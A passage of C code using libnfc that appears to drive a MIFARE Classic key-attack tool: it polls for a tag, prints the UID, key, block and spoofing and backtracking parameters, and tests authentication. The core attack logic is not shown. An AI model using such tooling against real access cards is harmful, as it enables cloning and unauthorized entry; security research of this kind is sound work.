      // switch the field back on, and wait for a constant amount of time before authenticating
      Sleep(50);

      // Poll for a ISO14443A (MIFARE) tag
      if (!nfc_initiator_select_tag(pdi,IM_ISO14443A_106,NULL,0,&ti))
      {
        printf("Error connecting to MIFARE Classic tag\n");
        nfc_disconnect(pdi);
        return 1;
      }
      
      // Print the uid to the screen 
      printf("   uid: %08x\n",(uid = swap_endian32(ti.tia.abtUid)));
      printf("   key: %012llx\n",ui64Key);
      printf(" block: %02x\n",uiBlock);
      printf("entrys: %d\n", numSpoofEntries);
      printf("maxbck: %d\n", maxBacktrackLevel);
      printf("\n");
      
      // Run the MIFARE Classic test
      if (mifare_test(pdi,ti.tia.abtUid,ui64Key,uiBlock))
      {
        printf("\nAuthentication Succesful\n\n");
      } else {
        printf("\nAuthentication Failed\n");
      }

      // Reset the "advanced" configuration to normal
      nfc_configure(pdi,DCO_HANDLE_CRC,true);
      nfc_configure(pdi,DCO_HANDLE_PARITY,true);
    }
  // Clean up and release device
  nfc_disconnect(pdi);

  scanf("%d", &pressKey);

  return 0;
}